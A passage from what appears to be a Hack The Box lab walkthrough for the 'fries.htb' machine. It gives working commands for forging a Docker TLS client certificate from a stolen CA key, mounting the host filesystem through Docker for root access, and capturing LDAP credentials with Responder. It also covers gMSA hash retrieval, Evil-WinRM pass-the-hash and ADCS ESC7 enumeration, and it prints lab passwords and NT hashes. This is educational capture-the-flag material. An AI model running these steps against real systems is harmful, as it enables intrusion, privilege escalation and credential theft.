<li>The NFS share is then mounted:</li>
</ul>
<pre><code class="language-shell">sudo mount -t nfs -o soft,timeo=50,retrans=2 127.0.0.1:/srv/web.fries.htb mnt/
</code></pre>
<ul>
<li>The options specify:<ul>
<li><code>-t nfs</code>: use the NFS filesystem type.</li>
<li><code>soft</code>: return an error if an NFS request times out after the configured retries, rather than retrying indefinitely.</li>
<li><code>timeo=50</code>: set the timeout interval to 50 tenths of a second.</li>
<li><code>retrans=2</code>: retry a timed-out request twice before treating it as failed.</li>
</ul>
</li>
<li>The mount succeeds, allowing the remote export to be browsed from the local machine.</li>
<li>However, attempting to access the certificate directory still produces a permission denied error.</li>
<li>This is expected. Mounting the share provides access to the exported filesystem, but it does not bypass the permissions enforced by the underlying filesystem.</li>
<li>The directory is owned by <code>root:infra managers</code>, and the current local identity does not belong to that group. the numeric identity discovered earlier can now be used to test access.</li>
</ul>
<h3>Mapping the Domain Identity with setpriv</h3>
<ul>
<li>The <code>setpriv</code> utility allows a process to run with specified user and group IDs. Since the <strong>UID</strong> and <strong>GID</strong> of <code>d.cooper</code> and <code>infra managers</code> are known, a shell can be started using those identifiers:</li>
</ul>
<pre><code class="language-shell">sudo setpriv --reuid=59602614  --regid=59605603 --clear-groups bash
</code></pre>
<ul>
<li>The options mean:<ul>
<li><code>— reuid=59602614</code>: set the real and effective user identity to UID <code>59602614</code></li>
<li><code>— regid=59605603</code>: set the real and effective group identity to GID <code>59605603</code></li>
<li><code>— clear-groups</code>: remove supplementary group memberships.</li>
<li><code>bash</code>: launch a new shell under the specified identity.</li>
</ul>
</li>
<li>The shell prompt displays:</li>
</ul>
<pre><code class="language-shell">I have no name!@kali
</code></pre>
<ul>
<li>This is normal in this situation. The local machine does not have a username entry corresponding to UID <code>59602614</code> in its own user database, so the shell cannot resolve the numeric identity to a username.</li>
<li>The important part is not the prompt, but the numeric identity used by the process. Running <code>id</code> confirms the current <strong>UID</strong> and <strong>GID</strong>.</li>
<li>With the process now using the identity associated with <code>d.cooper</code> and the <code>infra managers</code> group, the certificate directory can be accessed.</li>
<li>The access restriction was based on group membership and mapping the relevant numeric identity allowed the directory permissions to be satisfied. This demonstrates why understanding <strong>UID/GID mappings</strong> is important when investigating NFS exports backed by centralized identity services.</li>
</ul>
<h3>Copying the Certificate Files to the Attacking Machine</h3>
<ul>
<li>The certificate files need to be transferred to the attacking machine for further inspection and use.</li>
<li>One convenient approach is to use <code>/dev/shm</code>, a temporary filesystem commonly backed by memory. First check that it is empty:</li>
</ul>
<pre><code class="language-shell">ls /dev/shm
</code></pre>
<ul>
<li>The certificate files are then copied into it:</li>
</ul>
<pre><code class="language-shell">cp mnt/certs/* /dev/shm
</code></pre>
<ul>
<li>On the attacking machine, the files can be collected from the shared temporary location. Create a local directory and copy the files:</li>
</ul>
<pre><code class="language-shell">sudo cp /dev/shm/* certs
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e543e135-d35a-42ac-a394-9b3e9e39bbaa.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Since the files were copied using elevated privileges, their ownership may be assigned to <code>root</code>. Change ownership to the current local user so they can be managed without repeatedly using <code>sudo</code>:</li>
</ul>
<pre><code class="language-shell">sudo chown nato:nato *
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/331ee58b-d18e-4518-9715-e6153ab579ef.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The certificate material is now available locally for the next step.</li>
</ul>
<h3>Generating a Client Authentication Certificate</h3>
<ul>
<li>The <strong>certificate authority</strong> files include both <code>ca.pem</code> and <code>ca-key.pem</code>. Together, these provide the certificate and private key needed to sign a new certificate.</li>
<li>A new private key is generated first:</li>
</ul>
<pre><code class="language-shell">openssl genrsa -out key.pem 4096
</code></pre>
<ul>
<li>This creates a <code>4096-bit</code> RSA private key name <code>key.pem</code>.</li>
<li>Next, a <strong>Certificate Signing Request (CSR)</strong> is generated:</li>
</ul>
<pre><code class="language-shell">openssl req -new -key key.pem -subj "/CN=root" -out client.csr 
</code></pre>
<ul>
<li>The <code>-subj</code> option supplies the certificate subject directly. In this case, the <strong>Common Name (CN)</strong> is set to <code>root</code>.</li>
<li>A certificate extension file is then created:</li>
</ul>
<pre><code class="language-shell">echo "extendedKeyUsage=clientAuth" &gt; ext.cnf
</code></pre>
<ul>
<li>The <code>extendedKeyUsage</code> extension specifies that the certificate is intended for client authentication.</li>
<li>Finally, the <strong>CSR</strong> is signed using the <strong>CA certificate</strong> and its <strong>private key</strong>:</li>
</ul>
<pre><code class="language-shell">openssl x509 -req -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out cert.pem -days 365 -extfile ext.cnf
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e12a94c7-9467-4f86-92a7-f9e91ed0f66b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The result is a new certificate, <code>cert.pem</code>, signed by the CA whose private key was recovered from the NFS export.</li>
<li>This is an important point in the attack chain: access to protected NFS directory has exposed a CA private key, making it possible to generate a certificate that chains back to that authority. The certificate’s actual authentication privileges still depend on how the target services trust and validate certificates, which will be investigated in the next stage.</li>
</ul>
<h3>Transferring the Generated Certificate Files to the Target</h3>
<ul>
<li>The generated files need to be transferred back to the remote host. The local certs directory is copied to <code>/dev/shm</code> on the target using <strong>SCP</strong>:</li>
</ul>
<pre><code class="language-shell">scp -r certs/ svc@fries.htb:/dev/shm
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/66e3ed9d-bd98-4a86-a5e0-35f07a27eb70.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Back on the remote SSH session the certificate material is now available on the target.</li>
</ul>
<h2>Abusing Docker TLS Authentication</h2>
<ul>
<li>With the generated client certificate and private key transferred to the target, the next step is to investigate the Docker daemon discovered earlier.</li>
<li>A normal Docker command is attempted first:</li>
</ul>
<pre><code class="language-shell">docker ps
</code></pre>
<ul>
<li>However, it fails with a permission error. This happens because the current <code>svc</code> account does not have permission to access the local Docker Unix socket at <code>/var/run/docker.sock</code>.</li>
<li>Fortunately, the earlier process enumeration revealed that Docker also exposes a TCP endpoint on <code>127.0.0.1:2376</code>, protected by TLS. The Docker daemon’s startup arguments provided the required connection format:</li>
</ul>
<pre><code class="language-shell">--tlsverify   
--tlscacert=/etc/docker/certs/ca.pem   
--tlscert=/etc/docker/certs/server-cert.pem   
--tlskey=/etc/docker/certs/server-key.pem   
-H=127.0.0.1:2376
</code></pre>
<ul>
<li>Since the CA certificate and a newly signed client certificate are now available, the Docker CLI can connect to this endpoint using TLS authentication.</li>
</ul>
<h3>Enumerating Running Containers</h3>
<ul>
<li>The following command connects to the Docker daemon using the recovered certificate files:</li>
</ul>
<pre><code class="language-shell">docker --tlsverify --tlscacert ca.pem --tlscert cert.pem --tlskey key.pem -H tcp://127.0.0.1:2376 ps
</code></pre>
<ul>
<li>The command-line options specify:<ul>
<li><code>— tlsverify</code>: enable TLS and verify the server certificate against the supplied CA.</li>
<li><code>— tlscacert ca.pem</code>: specify the CA certificate used to verify the Docker server.</li>
<li><code>— tlscert cert.pem</code>: provide the generated client certificate.</li>
<li><code>— tlskey key.pem</code>: provide the private key corresponding to that client certificate.</li>
<li><code>-H tcp://127.0.0.1:2376</code>: connect to the Docker daemon through its TCP endpoint.</li>
<li><code>ps</code>: list currently running containers.</li>
</ul>
</li>
<li>The connection succeeds and reveals several containers.</li>
<li>The output provides a useful overview of the application’s infrastructure:<ul>
<li><code>pwm</code>: PWM password self-service application.</li>
<li><code>pgadmin4</code>: PgAdmin administration interface.</li>
<li><code>web</code>: Fries web application.</li>
<li><code>postgres</code>: PostgreSQL database.</li>
<li><code>gitea</code>: Gitea source-code management platform.</li>
</ul>
</li>
<li>These are familiar services from the earlier enumeration. The important discovery is that the recovered certificate provides access to the Docker API, allowing interaction with the containers through the daemon rather than through the restricted local Unix socket.</li>
</ul>
<h3>Enumerating Docker Images</h3>
<ul>
<li>It is also useful to inspect the images available on the host:</li>
</ul>
<pre><code class="language-shell">docker --tlsverify --tlscacert ca.pem --tlscert cert.pem --tlskey key.pem -H tcp://127.0.0.1:2376 images
</code></pre>
<ul>
<li>One image has no repository or tag assigned. Such an image is commonly referred to as a dangling or untagged image. It may be worth investigating later, but the <code>fries-web</code> image is the immediate target because it belongs to the application running on the host.</li>
</ul>
<h3>Mounting the Host Filesystem Inside a Container</h3>
<ul>
<li>Control over the Docker daemon is particularly powerful because it allows creation of containers with custom volume mounts.</li>
<li>The <code>fries-web</code> image can be used to start an interactive container while mounting the host’s entire root filesystem at <code>/nato</code>:</li>
</ul>
<pre><code class="language-shell">docker --tlsverify --tlscacert ca.pem --tlscert cert.pem --tlskey key.pem -H tcp://127.0.0.1:2376 run -it --rm -v /:/nato fries-web bash
</code></pre>
<ul>
<li>Breaking down the command:<ul>
<li><code>run</code>: create and start a new container.</li>
<li><code>-it</code>: allocate an interactive terminal.</li>
<li><code>— rm</code>: automatically remove the container when it exists.</li>
<li><code>-v /:/nato</code>: mount the host’s root filesystem (<code>/</code>) inside the container at <code>/nato</code>.</li>
<li><code>fries-web</code>: use the <code>fries-web</code> image.</li>
<li><code>bash</code>: start an interactive Bash shell inside the container.</li>
</ul>
</li>
<li>The command succeeds. The shell is running as root inside the container. More importantly, the host filesystem is now accessible through the <code>/nato</code> mount point.</li>
<li>The host’s root directory can be accessed as follows:</li>
</ul>
<pre><code class="language-shell">cd /nato
</code></pre>
<ul>
<li>Then:</li>
</ul>
<pre><code class="language-shell">cd root
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1e839b3b-6955-4375-bc96-06c20f04777e.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The contents of the host’s <code>/root</code> directory are now accessible from inside the container. The <code>user.txt</code> file is present and can be read before continuing with further enumeration.</li>
<li>This demonstrates the security impact of unrestricted Docker daemon access. A user who can control a Docker daemon may be able to create a container that mounts sensitive host directories, potentially obtaining root-level access to the underlying host.</li>
</ul>
<h2>Gaining Web Root Access</h2>
<ul>
<li>The host filesystem is now accessible from the container, so the next step is to investigate the files belonging to the root user.</li>
</ul>
<h3>Recovering the Root SSH private Key</h3>
<ul>
<li>While enumerating <code>/nato/root</code>, the hidden files and directories reveal an <code>.ssh</code> directory.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f455cb3c-4ef9-4650-ba16-4d8e3d53c64f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The <code>SSH</code> directory contains the <code>id_rsa</code> file which is theroot user’s SSH private key. Its contents are copied to the attacking machine and saved locally.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/94cb10bf-14a4-47af-830f-973bd591a114.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Before using the recovered private key, its file type and permissions were checked.</li>
<li>The file was confirmed to be an OpenSSH private key. However, its permissions were too permissive for SSH, which expects private keys to be accessible only by their owner. The permissions were therefore restricted:</li>
</ul>
<pre><code class="language-shell">chmod 600 id_rsa
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/29203cd5-4fc1-423b-b837-45d80467afac.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The key can then be used to establish a direct SSH session:</li>
</ul>
<pre><code class="language-shell">ssh -i id_rsa root@fries.htb
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f880516c-b34f-45b9-a00a-f2ed0153bd1f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Authentication succeeds, providing a stable root shell on the target.</li>
</ul>
<h3>Enumerating Root’s Scripts Directory</h3>
<ul>
<li>With root SSH access established, the next step is to inspect the files and scripts available on the host.</li>
<li>The root user’s home directory contains a <code>scripts</code> directory.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c4418203-188e-4bb4-8f6f-ea4fbd296674.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The scripts provide insight into how the environment is managed and, more importantly, how the Docker and NFS services are configured.</li>
</ul>
<p><code>clear-containers.sh</code></p>
<ul>
<li>The first script is responsible for removing recently created containers, while preserving containers whose names match a predefined list.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7b7f22b7-5010-45d9-beea-3c8e8031c252.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>A few important details stand out:<ul>
<li><code>DOCKER_TLS_VERIFY=1</code> enables TLS verification for Docker CLI connections.</li>
<li><code>DOCKER_CERT_PATH</code> points to the certificate directory used by the root account.</li>
<li><code>DOCKER_HOST</code> identifies the Docker daemon’s TCP endpoint.</li>
<li><code>PRESERVE_NAMES</code> defines container-name patterns that should not be removed.</li>
<li>The script retrieves the creation time of each container and calculates its age.</li>
<li>Containers created less than <code>300 seconds</code> ago are forcibly removed unless their names match one of the preserved patterns.</li>
</ul>
</li>
<li>This appears to be a cleanup mechanism for temporary containers. It also explains why an interactive container created during testing may not remain available indefinitely. (That’s why we established an SSH session earlier)</li>
</ul>
<p><code>clear-share.sh</code></p>
<ul>
<li>The next script manages the shared NFS directory.</li>
<li>The script removes regular files from <code>/srv/web.fries.htb/shared</code>, including hidden files matching the <code>.??*</code> pattern. The optional directory-cleanup command is currently commented out, so empty directories are not removed by that line.</li>
<li>This confirms that the <code>shared</code> directory is intended to hold temporary files that are periodically cleared.</li>
</ul>
<p><code>restore-certs.sh</code></p>
<ul>
<li>The certificate restoration script is particularly interesting given the earlier discovery of the NFS export.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/75b6ff69-c876-4484-8a3e-db94e3cfda5c.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The script copies the Docker certificate files from <code>/etc/docker/certs</code> back into the NFS-exported certificate directory.</li>
<li>It then:<ol>
<li>Assigns ownership to <code>root:infra managers</code>.</li>
<li>Sets permissions to <code>640</code>, allowing the owner to read and write, the group to read and everyone else to have no access.</li>
</ol>
</li>
<li>This explains the ownership and access restrictions encountered earlier when enumerating <code>/srv/web.fries.htb/certs</code>.</li>
<li>It also highlights the sensitivity of the directory: it contains the private CA key used to sign certificates trusted by the Docker daemon.</li>
</ul>
<p><code>start-web-svc.sh</code></p>
<ul>
<li>The web service startup script configures the Docker environment and starts the services using Docker Compose.</li>
<li>The <code>docker-compose up -d</code> command starts the services defined in the Compose configuration and runs them in the background.</li>
<li>The script confirms that the environment relies on the Docker daemon’s TLS-protected TCP endpoint rather than the local Unix socket.</li>
</ul>
<p><code>stop-web-svc.sh</code></p>
<ul>
<li>The stop web service script is responsible for shutting down the application’s Docker services. It configures the Docker client to communicate with the local Docker API over TLS using the certificates stored in <code>/root/.docker</code>, changes into <code>/root/scripts</code> and executes <code>docker-compose down</code> to stop and remove the containers defined in the Compose configuration.</li>
</ul>
<h3>Inspecting PWM Configuration Files</h3>
<ul>
<li>The <code>pwm</code> directory contains another useful lead. Navigating into its configuration directory reveals <code>PwmConfiguration.xml</code> file.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a603718e-5447-4deb-9cc7-c354c1ddcf08.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The <code>PwmConfiguration.xml</code> file is particularly interesting because it stores application configuration settings, including authentication-related information.</li>
<li>Inspecting the configuration file there is a <code>configPasswordHash</code> property that contains a password hash used to protect PWM configuration interface.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/63d0326d-265b-4834-8aec-fc3cde3f8e57.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The hash format is not immediately obvious, so the next step is to identify the algorithm.</li>
<li>The configuration also contains an LDAP proxy credential.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/568e273d-e614-4796-ba71-5ca5cccdc620.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The LDAP proxy username identifies the service account used by PWM to communicate with Active Directory:</li>
</ul>
<pre><code class="language-xml">CN=svc_infra,CN=Users,DC=fries,DC=htb
</code></pre>
<ul>
<li>The associated password is stored in an application-specific encrypted format prefixed with <code>ENC-PW:</code>. At this point, the most immediately actionable credential is the configuration hash.</li>
</ul>
<h3>Identifying and Cracking the PWM configuration Hash</h3>
<ul>
<li>The <code>hashid</code> utility is used to identify the hash format:</li>
</ul>
<pre><code class="language-shell">hashid -m '$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a9ed5bf7-75c8-47de-8427-b5765d62a4ce.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The output identifies the has as <code>bcrypt</code>.</li>
<li>The hash is saved and tested against the <code>rockyou.txt</code> wordlist:</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8a95748d-263e-4460-bb80-f26767b3e0df.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><strong>Hashcat</strong> successfully recovers the password.</li>
<li>The recovered password is added to the credential list for future testing.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3b947c96-585f-4438-9009-3c52f70b8c76.png" alt="" style="display:block;margin:0 auto" />

<h2>Capturing Clear-text Credentials from PWM</h2>
<ul>
<li>With the PWM configuration password recovered, the configuration interface can now be accessed. The LDAP connection settings provide an opportunity to investigate how the application authenticates to Active Directory.</li>
</ul>
<h3>Accessing the PWM Configuration Editor</h3>
<ol>
<li>Navigate to <code>https://pwm.fries.htb</code> .</li>
<li>Select <strong>Configuration Editor</strong> and enter the recovered password.</li>
<li>Expand the following configuration sections:</li>
</ol>
<pre><code class="language-plaintext">LDAP  
  └── LDAP Directories  
      └── default  
          └── Connection
</code></pre>
<ul>
<li>The connection settings contain the LDAP server configuration, including the LDAP URL and the proxy account used by PWM.</li>
<li>The objective is to determine whether PWM can be induced to authenticate to an LDAP server controlled by the attacking machine. If the application performs a simple LDAP bind without transport protection, the authentication credentials may be exposed.</li>
</ul>
<h3>Preparing Responder</h3>
<ul>
<li><strong>Responder</strong> is started on the VPN interface to listen for authentication attempts:</li>
</ul>
<pre><code class="language-shell">sudo responder -I tun0
</code></pre>
<ul>
<li><strong>Responder</strong> supports several network poisoning and authentication-capture mechanisms. In this case, it is used to capture the LDAP authentication attempt generated when PWM tests the modified LDAP profile.</li>
</ul>
<ul>
<li>In the PWM configuration editor, navigate to the LDAP connection settings and add a new LDAP URL: <code>ldap://10.10.14.176:389</code></li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3c58eef8-12c6-4a48-a67f-c286a0ab2d6e.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Here, <code>10.10.14.176</code> is the attacking machine’s VPN address and port <code>389</code> is the standard LDAP port.</li>
<li>With Responder listening, select Test LDAP Profile in the PWM interface.</li>
<li>The application attempts to connect to the configured LDAP endpoint, resulting in an authentication capture.</li>
</ul>
<h3>Capturing the LDAP Proxy Credentials</h3>
<ul>
<li><strong>Responder</strong> receives the authentication attempt and reveals clear-text credentials.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b2a6f2e7-0094-4cb3-993f-bb9ec4819935.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The capture username identifies the <code>svc_infra</code> service account and the password is recovered in clear text.</li>
<li>This is a significant development. The earlier configuration file exposed an encrypted LDAP proxy password, but redirecting the application’s LDAP connection to the controlled listener has revealed the actual credential.</li>
<li>The credentials are saved for reference.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/6568cd0b-3de8-4eb4-a15c-63d339ca131a.png" alt="" style="display:block;margin:0 auto" />

<h3>Validating the Captured Credentials</h3>
<ul>
<li>Before using the credentials in further enumeration, their validity should be confirmed against the available services.</li>
<li><strong>SMB Authentication:</strong></li>
</ul>
<pre><code class="language-shell">nxc smb DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d'
</code></pre>
<ul>
<li><strong>LDAP Authentication:</strong></li>
</ul>
<pre><code class="language-shell">nxc ldap DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d'
</code></pre>
<ul>
<li><strong>WinRM Authentication:</strong></li>
</ul>
<pre><code class="language-shell">nxc winrm DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' 
</code></pre>
<ul>
<li>The credentials authenticate successfully against <strong>SMB</strong> and <strong>LDAP</strong>, but <strong>WinRM</strong> authentication does not succeed.</li>
<li>Kerberos authentication is also tested for SMB and LDAP:</li>
<li><strong>SMB Authentication via Kerberos:</strong></li>
</ul>
<pre><code class="language-shell">nxc smb DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' -k
</code></pre>
<ul>
<li><strong>LDAP Authentication via Kerberos:</strong></li>
</ul>
<pre><code class="language-shell">nxc ldap DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' -k
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a58db779-eab7-4c77-a792-368a5dadfb6c.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Both Kerberos authentication tests succeed after rectifying the clock skew.</li>
<li>The results establish that the recovered credentials are valid for the domain account and can be used to authenticate to SMB and LDAP through both standard password-based authentication and Kerberos.</li>
<li>WinRM remains unavailable for this account, so the next part will focus on what <code>svc_infra</code> identity can access through Active Directory and the other authenticated services.</li>
</ul>
<h2>Active Directory Enumeration</h2>
<ul>
<li>Although the <code>svc_infra</code> credentials authenticate successfully against SMB and LDAP, they do not provide a WinRM session. Rather than stopping at authentication checks, the next step is to understand the account’s permissions and relationships within Active Directory.</li>
<li><strong>BloodHound</strong> is useful here because it maps relationships between users, groups, computers and directory objects. Its graph-based analysis can reveal privilege paths that are not immediately obvious from the individual LDAP queries.</li>
</ul>
<h3>Collecting Active Directory Data With RustHound-CE</h3>
<ul>
<li>The first step is to collect domain information using RustHound-CE:</li>
</ul>
<pre><code class="language-shell">rusthound-ce -d fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' -z
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/0dd75017-9c28-4dc8-8c07-55c9b6c34221.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Once the collection completes, the generated archive can be imported into BloodHound for analysis.</li>
<li>Since the Docker version of BloodHound is being used, the services are started in detached mode:</li>
</ul>
<pre><code class="language-shell">sudo docker-compose up -d
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e4ad9baa-cce9-4605-ba00-70dac41039ab.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>After the containers are running, access the BloodHound interface (<code>http://127.0.0.1:8080</code>), upload the RustHound-CE archive and allow the data to be ingested.</li>
</ul>
<h3>Analyzing the BloodHound Results</h3>
<ul>
<li>The collected data reveals an interesting relationship involving the <code>svc_infra</code> account.</li>
<li>The most important findings are:<ul>
<li><code>svc_infra</code> has a <code>ReadGMSAPassword</code> over <code>GMSA_CA_PROD$</code>. This permission allows the account to retrieve the managed password material for the <code>gMSA</code>.</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/28fc495c-e78a-4c0c-a9a4-1c4de49122e4.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><code>GMSA_CA_PROD$</code> belongs to the <code>REMOTE MANAGEMENT USERS</code> group. This suggests that obtaining the account’s credentials may provide access to remote management services.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/acedb816-fc08-4b8b-977a-30705605181f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><code>GMSA_CA_PROD$</code> can <code>enroll</code> in certificates issued by <code>FRIES-DC01-CA</code>. This establishes a potential route into the domain’s certificate infrastructure.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/71ae8c21-69e9-44c8-a80c-5090676140c1.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The <code>ReadGMSAPassword</code> relationship is particularly important. <strong>Group Managed Service Accounts</strong> use passwords that are automatically managed and periodically rotated by Active Directory. Instead of requiring an administrator to maintain a <em>static password</em> manually, <strong>authorized principals</strong> can retrieve the account’s current managed password through the appropriate directory permissions.</li>
</ul>
<h2>Gaining Access as GMSA_CA_PROD$</h2>
<h3>Retrieving the gMSA Password</h3>
<ul>
<li><strong>NetExec</strong> can retrieve managed service account credentials when the authenticated user has the necessary permissions:</li>
</ul>
<pre><code class="language-shell">nxc ldap DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' --gmsa
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ee5fa039-12f5-44a4-bfbc-e79fd315f6ba.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The command successfully retrieves the NT hash associated with <code>GMSA_CA_PROD$</code>.</li>
<li>The recovered credential is saved for later use.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8f4ae343-9eba-4c88-9515-ebef62ef2c7a.png" alt="" style="display:block;margin:0 auto" />

<h3>Validating the gMSA Credentials</h3>
<ul>
<li>Before attempting remote access, the hash is tested against the available domain services using NetExec.</li>
<li><strong>SMB Authentication:</strong></li>
</ul>
<pre><code class="language-shell">nxc smb DC01.fries.htb -u 'gMSA_CA_prod$' -H 'b0f2883453608fb7bffd1ac2e0e18188'
</code></pre>
<ul>
<li><strong>LDAP Authentication:</strong></li>
</ul>
<pre><code class="language-shell">nxc ldap DC01.fries.htb -u 'gMSA_CA_prod$' -H 'b0f2883453608fb7bffd1ac2e0e18188'
</code></pre>
<ul>
<li><strong>WinRM Authentication:</strong></li>
</ul>
<pre><code class="language-shell">nxc winrm DC01.fries.htb -u 'gMSA_CA_prod$' -H 'b0f2883453608fb7bffd1ac2e0e18188'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/01af46bf-c19e-4fc6-9d2b-4446d524f7a1.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>All three authentication checks succeed, confirming that the retrieved hash is valid for <strong>SMB</strong>, <strong>LDAP</strong> and <strong>WinRM</strong>.</li>
<li>The successful WinRM authentication is particularly useful because it provides a way to interactively access the Windows environment.</li>
</ul>
<h3>Establishing a Remote Management Session</h3>
<ul>
<li>With the hash validated, Evil-WinRM is used to establish a Remote PowerShell session:</li>
</ul>
<pre><code class="language-shell">evil-winrm -i 10.129.244.72 -u gmsa_ca_prod$ -H 'b0f2883453608fb7bffd1ac2e0e18188'
</code></pre>
<ul>
<li>Once connected, the current identity is verified and the account’s group memberships are enumerated:</li>
</ul>
<pre><code class="language-shell">whoami /groups
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/06128065-6649-40d5-8289-a341b1dd5998.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Among the listed memberships is:</li>
</ul>
<pre><code class="language-shell">BUILTIN\Certificate Service DCOM Access
</code></pre>
<ul>
<li>This group is associated with access to <strong>Certificate Services-related</strong> <strong>DCOM</strong> interfaces. Its presence, combined with the BloodHound findings, provides a strong indication that <strong>Active Directory Certificate Services (AD CS)</strong> is an important part of the attack path.</li>
<li>The next step is to enumerate the certificate authority configuration and identify any <strong>exploitable certificate-related</strong> permissions.</li>
</ul>
<h2>Vulnerable Certificate Authority Enumeration</h2>
<ul>
<li><strong>Active Directory Certificate Services</strong> allows organizations to issue and manage certificates for users, computers and services. When certificate templates or certificate authority permissions are configured insecurely, they can create paths to account impersonation and privilege escalation.</li>
<li><a href="https://github.com/ly4k/Certipy"><strong>Certipy</strong></a> is used to enumerate the certificate authority and identify potentially vulnerable configurations.</li>
</ul>
<h3>Identifying Vulnerable Certificate Configurations</h3>
<ul>
<li>The following command performs certificate-related enumeration and filters the results for vulnerable configurations:</li>
</ul>
<pre><code class="language-shell">certipy-ad find -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -vulnerable -stdout
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/00d4dd61-23ad-49ac-83a5-7c0b26e28c0f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The output identifies an <strong>ESC7 Vulnerability</strong>. <strong>ESC7</strong> concerns dangerous permissions over a Certificate Authority (CA). Depending on the permissions granted, an account may be able to manage CA settings or certificate requests in a way that can be abused to obtain certificates with elevated privileges.</li>
<li>The finding makes the CA a promising target for further investigation.</li>
</ul>
<h3>Understanding the ESC7 Attack Path</h3>
<ul>
<li>The exploitation process follows the guidance in Certipy’s documentation: <a href="https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc7-dangerous-permissions-on-ca">Certipy -ESC7: Dangerous Permissions on CA</a>.</li>
